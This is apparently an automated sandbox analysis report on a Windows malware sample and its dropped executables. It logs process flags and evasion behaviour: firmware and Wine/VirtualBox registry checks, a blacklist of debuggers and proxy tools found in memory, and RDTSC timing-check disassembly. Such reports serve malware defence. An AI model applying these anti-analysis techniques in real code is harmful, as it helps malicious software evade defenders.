Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Potwierdzenie.exe, 0000000A.00000002.2893843626.000000000492C000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: $BLACKLISTEDPROCESSES = ["WATCHER.EXE", "MITMDUMP.EXE", "MITMPROXY.EXE", "MITMWEB.EXE", "INSOMNIA.EXE", "HTTP TOOLKIT.EXE", "CHARLES.EXE", "POSTMAN.EXE", "BURPSUITECOMMUNITY.EXE", "FIDDLER EVERYWHERE.EXE", "FIDDLER.WEBUI.EXE", "HTTPDEBUGGERUI.EXE", "HTTPDEBUGGERSVC.EXE", "HTTPDEBUGGERPRO.EXE", "X64DBG.EXE", "IDA.EXE", "IDA64.EXE", "PROGRESS TELERIK FIDDLER WEB DEBUGGER.EXE", "HTTP DEBUGGER PRO.EXE", "FIDDLER.EXE", "KSDUMPERCLIENT.EXE", "KSDUMPER.EXE", "FOLDERCHANGESVIEW.EXE", "BINARYNINJA.EXE", "CHEAT ENGINE 6.8.EXE", "CHEAT ENGINE 6.9.EXE", "CHEAT ENGINE 7.0.EXE", "CHEAT ENGINE 7.1.EXE", "CHEAT ENGINE 7.2.EXE", "OLLYDBG.EXE", "WIRESHARK.EXE"];
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXEWO
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA56000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXEVHGH
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXEAG0I
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E957 second address: 53E960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4E36 second address: 6C4E54 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2C247D9BF8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4F99 second address: 6C4FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007F2C24E6519Bh 0x0000000c jc 00007F2C24E65196h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F2C24E651A2h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4FC6 second address: 6C4FCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C56A1 second address: 6C56B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C24E6519Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8FE6 second address: 6C902C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F2C247D9BF1h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 jmp 00007F2C247D9BF9h 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C90E3 second address: 6C911C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F2C24E65196h 0x00000009 jnc 00007F2C24E65196h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 7EB0B926h 0x00000019 mov edx, ebx 0x0000001b push 00000003h 0x0000001d pushad 0x0000001e movzx edi, di 0x00000021 mov eax, ebx 0x00000023 popad 0x00000024 push 00000000h 0x00000026 push 00000003h 0x00000028 mov dword ptr [ebp+122D17EAh], edi 0x0000002e push B1664998h 0x00000033 pushad 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C91D4 second address: 6C9248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F2C247D9BF4h 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1C3Eh], esi 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 pushad 0x00000019 add esi, dword ptr [ebp+122D27EFh] 0x0000001f popad 0x00000020 pop edi 0x00000021 push D005B337h 0x00000026 push ebx 0x00000027 jc 00007F2C247D9BE8h 0x0000002d push eax 0x0000002e pop eax 0x0000002f pop ebx 0x00000030 add dword ptr [esp], 2FFA4D49h 0x00000037 push esi 0x00000038 sub esi, 61CA49B2h 0x0000003e pop esi 0x0000003f push 00000003h 0x00000041 jng 00007F2C247D9BEAh 0x00000047 push 00000000h 0x00000049 mov dword ptr [ebp+122D17F8h], edi 0x0000004f push 00000003h 0x00000051 mov dword ptr [ebp+122D1ED4h], eax 0x00000057 push C144CC2Bh 0x0000005c push edi 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9248 second address: 6C924C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C924C second address: 6C92B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a xor dword ptr [esp], 0144CC2Bh 0x00000011 mov esi, ebx 0x00000013 lea ebx, dword ptr [ebp+1245DF2Fh] 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F2C247D9BE8h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 mov ecx, 2A1AE8B2h 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c jmp 00007F2C247D9BF9h 0x00000041 jc 00007F2C247D9BE6h 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9363 second address: 6C9367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9367 second address: 6C937C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d jbe 00007F2C247D9BE6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C937C second address: 6C9461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2C24E651A2h 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jnl 00007F2C24E651A0h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jne 00007F2C24E651A0h 0x0000001d pop eax 0x0000001e mov edx, dword ptr [ebp+122D29B7h] 0x00000024 add dword ptr [ebp+122D1B61h], edx 0x0000002a push 00000003h 0x0000002c xor ecx, dword ptr [ebp+122D1B8Bh] 0x00000032 push 00000000h 0x00000034 jno 00007F2C24E6519Ah 0x0000003a push 00000003h 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007F2C24E65198h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 00000018h 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 jmp 00007F2C24E651A7h 0x0000005b call 00007F2C24E65199h 0x00000060 pushad 0x00000061 jmp 00007F2C24E651A3h 0x00000066 jns 00007F2C24E6519Ch 0x0000006c popad 0x0000006d push eax 0x0000006e pushad 0x0000006f jg 00007F2C24E6519Ch 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F2C24E651A3h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9461 second address: 6C94B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jmp 00007F2C247D9BEBh 0x00000014 jmp 00007F2C247D9BF8h 0x00000019 popad 0x0000001a mov eax, dword ptr [eax] 0x0000001c je 00007F2C247D9BF4h 0x00000022 push eax 0x00000023 push edx 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C94B3 second address: 6C94B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C94B7 second address: 6C94DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2C247D9BF7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C94DA second address: 6C951E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2C24E65198h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [ebp+122D1F0Bh], ecx 0x00000011 lea ebx, dword ptr [ebp+1245DF3Ah] 0x00000017 mov dword ptr [ebp+122D2BA3h], ebx 0x0000001d xchg eax, ebx 0x0000001e jmp 00007F2C24E651A9h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jnl 00007F2C24E65196h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C951E second address: 6C952E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E76F4 second address: 6E772B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2C24E651A7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E772B second address: 6E7747 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2C247D9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F2C247D9BF2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7747 second address: 6E774C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7BBE second address: 6E7BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7BC2 second address: 6E7BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7BC6 second address: 6E7BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C247D9BEAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F2C247D9BFEh 0x00000011 jmp 00007F2C247D9BF6h 0x00000016 push esi 0x00000017 pop esi 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jno 00007F2C247D9BE8h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8011 second address: 6E801B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F2C24E65196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8175 second address: 6E8182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F2C247D9BEEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8182 second address: 6E8199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jne 00007F2C24E65196h 0x0000000f jc 00007F2C24E65196h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E842F second address: 6E8433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8433 second address: 6E8443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2C24E65196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8443 second address: 6E845D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2C247D9BEFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E86E9 second address: 6E86EF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E88B0 second address: 6E88BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ACBC7 second address: 6ACBCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
